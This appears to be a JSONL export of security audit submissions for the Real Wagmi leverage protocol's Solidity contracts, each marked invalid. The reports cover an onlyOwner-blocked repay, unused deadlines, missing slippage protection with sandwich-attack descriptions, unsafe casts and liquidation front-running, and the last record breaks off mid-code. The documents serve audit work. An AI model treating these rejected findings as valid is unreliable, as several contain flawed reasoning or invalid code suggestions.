function\n\n```solidity\nfunction repay(\n RepayParams calldata params,\n uint256 deadline\n ) external nonReentrant checkDeadline(deadline) {\n ...\n // Check if it's an emergency repayment\n if (params.isEmergency) {\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN);\n (\n uint256 removedAmt,\n uint256 feesAmt,\n bool completeRepayment\n ) = _calculateEmergencyLoanClosure(\n zeroForSaleToken,\n params.borrowingKey,\n borrowing.feesOwed,\n borrowing.borrowedAmount\n );\n (removedAmt == 0).revertError(ErrLib.ErrorCode.LIQUIDITY_IS_ZERO);\n // prevent overspent\n // Subtract the removed amount and fees from borrowedAmount and feesOwed\n borrowing.borrowedAmount -= removedAmt;\n borrowing.feesOwed -= feesAmt;\n feesAmt /= Constants.COLLATERAL_BALANCE_PRECISION;\n // Deduct the removed amount from totalBorrowed\n holdTokenRateInfo.totalBorrowed -= removedAmt;\n // If loansInfoLength is 0, remove the borrowing key from storage and get the liquidation bonus\n if (completeRepayment) {\n LoanInfo[] memory empty;\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, empty);\n feesAmt += liquidationBonus;\n } else {\n BorrowingInfo storage borrowingStorage = borrowingsInfo[params.borrowingKey];\n borrowingStorage.dailyRateCollateralBalance = 0;\n borrowingStorage.feesOwed = borrowing.feesOwed;\n borrowingStorage.borrowedAmount = borrowing.borrowedAmount;\n // Calculate the updated accLoanRatePerSeconds\n borrowingStorage.accLoanRatePerSeconds =\n holdTokenRateInfo.accLoanRatePerSeconds -\n FullMath.mulDiv(\n uint256(-collateralBalance),\n Constants.BP,\n borrowing.borrowedAmount // new amount\n );\n }\n // Transfer removedAmt + feesAmt to msg.sender and emit EmergencyLoanClosure event\n //@audit the transfer here will revert because of the onlyowner modifier\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n msg.sender,\n removedAmt + feesAmt\n );\n emit EmergencyLoanClosure(borrowing.borrower, msg.sender, params.borrowingKey);\n } else {\n // Deduct borrowedAmount from totalBorrowed\n holdTokenRateInfo.totalBorrowed -= borrowing.borrowedAmount;\n\n // Transfer the borrowed amount and liquidation bonus from the VAULT to this contract\n //@audit\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n address(this),\n borrowing.borrowedAmount + liquidationBonus\n );\n // Restore liquidity using the borrowed amount and pay a daily rate fee\n LoanInfo[] memory loans = loansInfo[params.borrowingKey];\n _maxApproveIfNecessary(\n borrowing.holdToken,\n address(underlyingPositionManager),\n type(uint128).max\n );\n _maxApproveIfNecessary(\n borrowing.saleToken,\n address(underlyingPositionManager),\n type(uint128).max\n );\n\n ...\n }\n }\n```\n\nThe code shows that the `transferToken` function is called twice. However, the entire repay process is bound to fail because the `transferToken` function is only callable by the owner, enforced by the onlyOwner modifier:\n\n```solidity\n function transferToken(address _token, address _to, uint256 _amount) external onlyOwner {\n if (_amount > 0) {\n IERC20(_token).safeTransfer(_to, _amount);\n }\n }\n```\n\nDue to this constraint, all calls to the repay function will fail, effectively preventing anyone from repaying their loans or liquidating their positions.\n\n## Impact\n\nThe use of the onlyOwner modifier in the transferToken function has a severe impact as it disrupts the repay functionality. This can lead to a breakdown in the protocol's core operations, affecting both borrowers and lenders.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L621-L624\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L632-L636\n## Tool used\n\nManual Review\n\n## Recommendation\n\nrecommend removing the onlyOwner modifier from the `transferToken` function. Instead, create a custom modifier that allows calls from the protocol contracts and the owner only, maintaining security without disrupting the repay functionality","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/171.md"}} +{"title":"Redundant deadline mechanism in LiquidationBorrowingManager possibly leading to postperiod calls.","severity":"info","body":"Modern Carob Tardigrade\n\nmedium\n\n# Redundant deadline mechanism in LiquidationBorrowingManager possibly leading to postperiod calls.\n## Summary\nIn LiquidationBorrowingManager.sol the function [`borrow(BorrowParams calldata params, uint256 deadline)`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) and [`repay(RepayParams calldata params, uint256 deadline)`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) do not use the `deadline` parameter in order to enforce a borrowing validation period or repayment validation period.\n\n## Vulnerability Detail\nThe functions `borrow()` and `repay()` in LiquidationBorrowingManager.sol do not use the function parameter `deadline` of type `uint256` effectively making it redundant to the protocol, due to the fact that the modifier [`checkDeadline(uint256 deadline)`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L136) only checks that the `deadline` input paramter is greater than the current block timestamp.\n\n## Impact\n\nFor the `borrow()` function the deadline is not enforced for the period after which, once elapsed, the transaction is considered invalid and for the `repay()` function, the period in which a repayment must be made. The main area of concern is that at the current implementation the deadline parameter is not enforced and a result all transaction time frames are nullified. \n\n## Code Snippet\n`modifier checkDeadline(uint256 deadline) {\n (_blockTimestamp() > deadline).revertError(ErrLib.ErrorCode.TOO_OLD_TRANSACTION);\n _;\n }\n`\n## Tool used\n\nManual Review\n\n## Recommendation\n\nI would recommend that the deadline input parameter be integrated into the borrowing or repayment data structures in storage in order to be verified against future transactions.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/170.md"}} +{"title":"Use Ownable2Step rather than Ownable","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Use Ownable2Step rather than Ownable\n### [L-5] Use Ownable2Step rather than Ownable\n\n#### Impact:\nOwnable2Step and Ownable2StepUpgradeable prevent the contract ownership from mistakenly being transferred to an address that cannot handle it, by requiring the recipient of the owner permissions to actively accept via a contract call of its own.\n\n*Instances (2)*:\n```solidity\nFile: LiqBorrowingMan/Vault.sol\n\n8: contract Vault is Ownable, IVault {\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/OwnerSettings.sol\n\n6: abstract contract OwnerSettings is Ownable {\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/166.md"}} +{"title":"Timestamp may be manipulation","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Timestamp may be manipulation\n### [L-4] Timestamp may be manipulation\n\n#### Impact:\nThe block.timestamp can be manipulated by miners to perform MEV profiting or other time-based attacks.\n\n*Instances (8)*:\n```solidity\nFile: LiqBorrowingMan/LiquidityBorrowingManager.sol\n\n142: return block.timestamp;\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/DailyRateAndCollateral.sol\n\n47: uint256 timeWeightedRate = (uint32(block.timestamp) -\n\n54: holdTokenRateInfo.latestUpTimestamp = uint32(block.timestamp);\n\n79: uint256 timeWeightedRate = (uint32(block.timestamp) -\n\n86: holdTokenRateInfo.latestUpTimestamp = uint32(block.timestamp);\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/LiquidityManager.sol\n\n89: bytes32 salt = keccak256(abi.encode(block.timestamp, address(this)));\n\n358: deadline: block.timestamp\n\n405: deadline: block.timestamp\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/165.md"}} +{"title":"Loss of precision in divisions","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Loss of precision in divisions\n### [L-3] Loss of precision in divisions\n\n#### Impact:\nDivision by large numbers may result in the result being zero, due to Solidity not supporting fractions. Consider requiring a minimum amount for the numerator to ensure that it is always larger than the denominator.\n\n*Instances (1)*:\n```solidity\nFile: LiqBorrowingMan/LiquidityBorrowingManager.sol\n\n971: uint256 platformFees = (fees * platformFeesBP) / Constants.BP;\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/164.md"}} +{"title":"Enum values should be used instead of constant array indexes","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Enum values should be used instead of constant array indexes\n### [L-2] Enum values should be used instead of constant array indexes\n\n#### Impact:\nCreate a commented enum value to use instead of constant array indexes, as it makes the code far easier to understand.\n\n*Instances (13)*:\n```solidity\nFile: LiqBorrowingMan/abstract/OwnerSettings.sol\n\n68: if (values[1] > Constants.MAX_LIQUIDATION_BONUS) {\n\n69: revert InvalidSettingsValue(values[1]);\n\n71: if (values[2] == 0) {\n\n74: liquidationBonusForToken[address(uint160(values[0]))] = Liquidation(\n\n75: values[1],\n\n76: values[2]\n\n80: dailyRateOperator = address(uint160(values[0]));\n\n84: if (values[0] > Constants.MAX_PLATFORM_FEE) {\n\n85: revert InvalidSettingsValue(values[0]);\n\n87: platformFeesBP = values[0];\n\n90: if (values[0] > Constants.MAX_LIQUIDATION_BONUS) {\n\n91: revert InvalidSettingsValue(values[0]);\n\n93: dafaultLiquidationBonusBP = values[0];\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/163.md"}} +{"title":"Missing Reentrancy Guard in Functions with Transfer Hooks","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Missing Reentrancy Guard in Functions with Transfer Hooks\n### [M-3] Missing Reentrancy Guard in Functions with Transfer Hooks\n\n#### Impact:\nNot protecting functions with transfer hooks using a reentrancy guard can expose the protocol to read-only reentrancy vulnerabilities.\n\n*Instances (1)*:\n```solidity\nFile: LiqBorrowingMan/abstract/ApproveSwapAndPay.sol\n\n190: IERC20(token).safeTransferFrom(payer, recipient, value);\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/161.md"}} +{"title":"Governance functions should be controlled by time locks","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Governance functions should be controlled by time locks\n### [M-2] Governance functions should be controlled by time locks\n\n#### Impact:\nGovernance functions (such as upgrading contracts, setting critical parameters) should be controlled using time locks to introduce a delay between a proposal and its execution. This gives users time to exit before a potentially dangerous or malicious operation is applied.\n\n*Instances (3)*:\n```solidity\nFile: LiqBorrowingMan/LiquidityBorrowingManager.sol\n\n184: function collectProtocol(address recipient, address[] calldata tokens) external onlyOwner {\n\n```\n\n```solidity\nFile: LiqBorrowingMan/Vault.sol\n\n17: function transferToken(address _token, address _to, uint256 _amount) external onlyOwner {\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/OwnerSettings.sol\n\n65: function updateSettings(ITEM _item, uint256[] calldata values) external onlyOwner {\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/160.md"}} +{"title":"Using block.timestamp as the deadline/expiry invites MEV","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Using block.timestamp as the deadline/expiry invites MEV\n### Using block.timestamp as the deadline/expiry invites MEV\n\n#### Impact:\nPassing `block.timestamp` as the expiry/deadline of an operation does not mean 'require immediate execution' - it means 'whatever block this transaction appears in, I'm comfortable with that block's timestamp'. Providing this value means that a malicious miner can hold the transaction for as long as they like (think the flashbots mempool for bundling transactions), which may be until they are able to cause the transaction to incur the maximum amount of slippage allowed by the slippage parameter, or until conditions become unfavorable enough that other orders, e.g. liquidations, are triggered. Timestamps should be chosen off-chain, and should be specified by the caller to avoid unnecessary MEV.\n\n*Instances (8)*:\n```solidity\nFile: LiqBorrowingMan/LiquidityBorrowingManager.sol\n\n142: return block.timestamp;\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/DailyRateAndCollateral.sol\n\n47: uint256 timeWeightedRate = (uint32(block.timestamp) -\n\n54: holdTokenRateInfo.latestUpTimestamp = uint32(block.timestamp);\n\n79: uint256 timeWeightedRate = (uint32(block.timestamp) -\n\n86: holdTokenRateInfo.latestUpTimestamp = uint32(block.timestamp);\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/LiquidityManager.sol\n\n89: bytes32 salt = keccak256(abi.encode(block.timestamp, address(this)));\n\n358: deadline: block.timestamp\n\n405: deadline: block.timestamp\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/159.md"}} +{"title":"Lack of slippage protection can lead to a significant loss of user funds","severity":"info","body":"Sneaky Orchid Lemur\n\nhigh\n\n# Lack of slippage protection can lead to a significant loss of user funds\n## Summary\nThe protocol interacts with Uniswap, but the parameters were configured incorrectly by default without slippage protection, giving rise to MEV bot attacks.\n\n## Vulnerability Detail\n\nThe main functions are `borrow()` and `repay()` which are available to the user. If a user wants to give a loan the `borrow()` function: `_precalculateBorrowing()` is called, then `_extractLiquidity()` and finally `_decreaseLiquidity()`.\n\nWhen `_decreaseLiquidity()` is called, the protocol interacts with Uniswap but `amount0Min: 0` and `amount1Min: 0` are set to 0. This means that it is the minimum amount that the person accepts when the exchange is made. liquidity, would be the expected tokens.\n\n```solidity\nINonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n```\nThe result goes for a final check:\n```solidity\n if (amount0 == 0 && amount1 == 0) {\n revert InvalidBorrowedLiquidity(tokenId);\n }\n```\nBut this is not enough, one of the two values can be zero, close to zero or both close to zero. And there is no other validation for these results.\n\nThis loss of funds is possible in the case of a Sandwich attack.\n\n\n## Impact\nA malicious attack can decrease the expected amount of token expected when extract their liquidity. Bringing losses to the user.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L356-L358\n\n\n## Tool used\nManual Review\n\n## Recommendation\nUse parameters `amount0Min `, `amount1Min ` and `deadline` correctly to avoid loss of funds.\nhttps://uniswapv3book.com/docs/milestone_3/slippage-protection/#slippage-protection-in-swaps","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/157.md"}} +{"title":"Use descriptive constant instead of 0 as a parameter","severity":"info","body":"Joyful Macaroon Shrimp\n\nmedium\n\n# Use descriptive constant instead of 0 as a parameter\n---\nname: Use descriptive constant instead of 0 as a parameter\nabout: \ntitle: \"Use descriptive constant instead of 0 as a parameter\"\nlabels: \"Low Issues \"\nassignees: \"\"\n---\n\n## Summary\nThis issue, highlights a security concern related to the use of the value 0 or 0x0 as a function argument. Such usage can potentially lead to security vulnerabilities. The recommended approach is to replace these instances with descriptive constant variables to clarify their purpose and mitigate security risks.\n\n## Vulnerability Detail\n.\n## Impact\nPassing 0 or 0x0 as a function argument can sometimes result in a security issue.\n## Code Snippet\n```solidity\nFile: LiqBorrowingMan/LiquidityBorrowingManager.sol\n\n881: saleTokenBalance,\n\n```\n\n```solidity\nFile: LiqBorrowingMan/abstract/ApproveSwapAndPay.sol\n\n95: require(_tryApprove(token, spender, 0));\n\n```\n\n```solidity\nFile: LiqBorrowingMan/libraries/ExternalCall.sol\n\n27: if gt(swapAmountInDataValue, 0) {\n\n32: target,\n\n35: data.length,\n\n40: if and(not(success), and(gt(returndatasize(), 0), lt(returndatasize(), 256))) {\n\n41: returndatacopy(ptr, 0, returndatasize())\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider using a constant variable with a descriptive name, so it's clear that the argument is intentionally being used, and for the right reasons.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/155.md"}} +{"title":"Unsafe type casting lead to unintended behavior","severity":"info","body":"Rural Powder Rook\n\nmedium\n\n# Unsafe type casting lead to unintended behavior\n## Summary\n\nThis report highlights vulnerabilities related to unsafe type casting and uint value manipulation within a specific protocol or codebase. These actions occur without employing any safety libraries, potentially resulting in undesired outcomes, including incorrect value types and other adverse effects.\n\n## Vulnerability Detail\n\nIn both the `LiquidityBorrowingManager.sol` and the `DailyRateAndCollateral.sol` contracts, unsafe type casting is identified, which may lead to unintended behaviors. in [this line](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L237) we cast the uint256 `Constants.COLLATERAL_BALANCE_PRECISION` which is 1e18 to init256 which may cause return of wrong decimals value:\n\n```solidity\n function checkDailyRateCollateral(\n bytes32 borrowingKey\n ) external view returns (int256 balance, uint256 estimatedLifeTime) {\n (, balance, estimatedLifeTime) = _getDebtInfo(borrowingKey);\n //@audit unsafe casting from uint to init\n balance /= int256(Constants.COLLATERAL_BALANCE_PRECISION);\n }\n```\n\nSimilarly for the `DailyRateAndCollateral` in this [line](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L115) which it may lead to retrun incorrect value:\n\n```solidity\n\n function _calculateCollateralBalance(\n uint256 borrowedAmount,\n uint256 borrowingAccLoanRatePerShare,\n uint256 borrowingDailyRateCollateral,\n uint256 accLoanRatePerSeconds\n ) internal pure returns (int256 collateralBalance, uint256 currentFees) {\n if (borrowedAmount > 0) {\n currentFees = FullMath.mulDivRoundingUp(\n borrowedAmount,\n accLoanRatePerSeconds - borrowingAccLoanRatePerShare,\n Constants.BP\n );\n //@audit unsafe cast change\n collateralBalance = int256(borrowingDailyRateCollateral) - int256(currentFees);\n }\n }\n\n```\n\nThe `_calculateCollateralBalance` function is employed in multiple sections of the `LiquidityBorrowingManager.sol` contract:\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L1006\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L410\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L552\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L931\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L1006\n\n## Impact\n\nUnsafe casting operations can lead to unintended behavior or result in the loss of accurate values.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L237\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L115\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nrecommend implementing the use of the safeCast library from OpenZeppelin (OZ) to ensure secure type conversions and mitigate potential vulnerabilities.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/153.md"}} +{"title":"Unbounded loop in `collectProtocol` function can leads to DOS","severity":"info","body":"Jumpy Raisin Wren\n\nhigh\n\n# Unbounded loop in `collectProtocol` function can leads to DOS\n## Summary\nunbounded loop in `collectProtocol` function can lead to Denail of Service\n\n## Vulnerability Detail\nthe `collectProtocol` function allows owner to collect protocol fees for multiple tokens and transfer them to a specified recipient.the loop inside this function iterate through array of tokens and calculate amount i.e protocol fees and if `amount>0` then it transfer the amount to `recipient` address i.e the address of the recipient who will receive the collected fees and it tranfer's the amount by call's the IERC20's `safeTransfer` function .with all this happening in the loop and costing gas and executing gas costly function like `safeTransfer()` for all tokens in this loop can leads to dos due to exceeding the block size gas limit.\n\n## Impact\nthere can be many tokens that the loop have to go through and calculate the protocal fees and tranfering the protocol fees to recipient address in the loop by using gas costly executions like `safeTransfer()` can lead to fail of execution due to exceeding block size gas limit\n\n## Code Snippet\n[LiquidityBorrowingManager.sol#ln184](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L177C5-L200C6)\n\n```solidity\n/**\n * @notice This function allows the owner to collect protocol fees for multiple tokens\n * and transfer them to a specified recipient.\n * @dev Only the contract owner can call this function.\n * @param recipient The address of the recipient who will receive the collected fees.\n * @param tokens An array of addresses representing the tokens for which fees will be collected.\n */\n function collectProtocol(address recipient, address[] calldata tokens) external onlyOwner {\n uint256[] memory amounts = new uint256[](tokens.length);\n for (uint256 i; i < tokens.length; ) {\n address token = tokens[i];\n uint256 amount = platformsFeesInfo[token] / Constants.COLLATERAL_BALANCE_PRECISION;\n if (amount > 0) {\n platformsFeesInfo[token] = 0;\n amounts[i] = amount;\n Vault(VAULT_ADDRESS).transferToken(token, recipient, amount);\n }\n unchecked {\n ++i;\n }\n }\n\n emit CollectProtocol(recipient, tokens, amounts);\n }\n```\n\n## Tool used\nVS code\n\n## Recommendation\navoide all the actions executed in a single transaction, especially when transfer's are executed as part of a loop.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/147.md"}} +{"title":"no slippage lead to loss of fund","severity":"info","body":"Stale Lead Yeti\n\nhigh\n\n# no slippage lead to loss of fund\n## Summary\nthere is no slippage check when swapping the sale token into **holdtoken** which can lead to loss of fund\n## Vulnerability Detail which \nin **liquidityBorrowigManager** line 742 - 761 will try to swap sale token into the **holdtoken** when swapping the slippage arguments are zero which means there is no check for slippage which will open a door for mev and and mev searcher can do a sandwich attack every time the borrow function first the searcher will listen to a **memepool** for the borrow function to be called then it will **frontrun** the trx and buy big amount of hold token due to that the price will go up then when the borrow function swap the sell token into the hold token he will reveice small amount of **holdtoken** and will pump more the **holdtoken** then the **mev** searcher will sell the **holdtoken** again which he will gain a profit\n## Impact\nloss of fund\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L882\n## Tool used\n\nManual Review\n\n## Recommendation\nadd a slippage","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/145.md"}} +{"title":"Unsafe casting from `uint256` to `uint128` in LiquidityManager.sol","severity":"info","body":"Quiet Hickory Mule\n\nmedium\n\n# Unsafe casting from `uint256` to `uint128` in LiquidityManager.sol\n## Summary\nUnsafe casting from `uint256` to `uint128` in LiquidityManager.sol\n\n## Vulnerability Detail\nThe vulnerability is present in _decreaseLiquidity for type casting value of amount0Min and amount1Min \n\n## Impact\nUnsafe casting from uint256 to uint128 in a Solidity smart contract risks data loss, vulnerabilities, and unexpected behavior. \n\n## Code Snippet\n```solidity\nfunction _decreaseLiquidity(uint256 tokenId, uint128 liquidity) private {\n // Call the decreaseLiquidity function of underlyingPositionManager contract\n // with DecreaseLiquidityParams struct as argument\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n // Check if both amount0 and amount1 are zero after decreasing liquidity\n // If true, revert with InvalidBorrowedLiquidity exception\n if (amount0 == 0 && amount1 == 0) {\n revert InvalidBorrowedLiquidity(tokenId);\n }\n // Call the collect function of underlyingPositionManager contract\n // with CollectParams struct as argument\n (amount0, amount1) = underlyingPositionManager.collect(\n INonfungiblePositionManager.CollectParams({\n tokenId: tokenId,\n recipient: address(this),\n amount0Max: uint128(amount0), // @audit unsafe casting\n amount1Max: uint128(amount1) // @audit unsafe casting\n })\n );\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nshould check value before execution\n```solidity\nrequire(amount0Min <= uint128(-1), \"Value exceeds uint128 range\");\nrequire(amount1Min <= uint128(-1), \"Value exceeds uint128 range\");\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/131.md"}} +{"title":"`Emergency repayment` and `takeOverDebt` rely on the same conditions as Liquidations, making them prone to frontrunning by liquidators","severity":"info","body":"Petite Canvas Sparrow\n\nmedium\n\n# `Emergency repayment` and `takeOverDebt` rely on the same conditions as Liquidations, making them prone to frontrunning by liquidators\n## Summary\nEither `takeOverDebt` and `emergency repayment` require the `collateralBalance` to drop below zero until they can be executed. But at this point, it is also requirement for a liquidation, so bots specialized in sniping liquidations will target those positions before any user will be able to interact with them. Nowadays the liquidations are being handled often by specialized bots, competing for the profit made off them, which also requires them to instantly detect and take advantage of liquidation opportunities across DeFi platforms (to get the liquidation bonuses). \n\n\n## Vulnerability Detail\nEmergency repayment and takeOverDebt on a position can only be done when `collateralBalance >= 0` (described further in Code section). Once a position is in that state, it is also liquidatable. In normal market conditions it is very likely that noone will be able to conduct these operations because liquidations will come first, frontrunning those users.\n\n## Impact\nUsers who wish to emergency repay their position will not be able to do so. Taking over debt, for example to save user's position by another user, will not be successful and the user with debt to be taken will lose funds, because can be liquidated. Similarly with emergency repay.\n\n## Code Snippet\n\n1) [takeOverDebt](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L417)\n\nHere if `collateralBalance >= 0` it reverts as per the [revertError](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/ErrLib.sol#L28-L30) definition (note: the comment says otherwise for some reason) . So in order to `takeOverDebt` user willing to do it has to wait until this value drops below zero:\n```solidity\n // Ensure that the collateral balance is greater than or equal to 0\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN);\n```\n\n\n2) [emergency Repay](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L559)\n\nEmergency repay will be performed by the LP'er (so not borrowing.borrower) therefore to avoid revert, `collateralBalance ` has to be below zero so the condition is not met and there is no revert.\n\n```solidity\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n```\n\nLater, there is a [conditional check](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L581) if the operation is emergency or not. So until this point condition for emergency repayment and for liquidation are also the same.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe threshold for emergency repayment and taking over debt should be higher than threshold for liquidation, e.g. when there's 5% remaining of collateral. So anyone can do emergency repayment or take over debt in this time window. Otherwise, most of the liquidations will always come first as soon as the threshold for liquidation is reached.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/129.md"}} +{"title":"Incorrect Handling of int256 to (uint256(-int256)","severity":"info","body":"Quiet Hickory Mule\n\nhigh\n\n# Incorrect Handling of int256 to (uint256(-int256)\n## Summary\nint256 collateralBalance is non-negative, but it erroneously attempts to negate it with uint256(-collateralBalance) and store in uint256. This operation can result in unintended positive values. Ensure that the code accurately handles positive values without negation, aligning with the expected behavior.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L417-L422\n```solidity\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN); //> 10\n // Pick up platform fees from the oldBorrowing's holdToken and add them to the feesOwed\n currentFees = _pickUpPlatformFees(oldBorrowing.holdToken, currentFees);\n oldBorrowing.feesOwed += currentFees;\n minPayment = (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;\n```\n## Impact\n`collateralBalance` would likely result in incorrect calculations or unintended behaviors within the application. It could lead to financial inaccuracies or unexpected outcomes, potentially affecting users' funds and the reliability of the system.\n\n## Code Snippet\nQuick PoC, here is mock file\n```solidity\npragma solidity 0.8.21;\nimport \"./abstract/LiquidityManager.sol\";\nimport \"./abstract/OwnerSettings.sol\";\nimport \"./abstract/DailyRateAndCollateral.sol\";\nimport \"./libraries/ErrLib.sol\";\n\ncontract MOCK {\n using { ErrLib.revertError } for bool;\n\n function 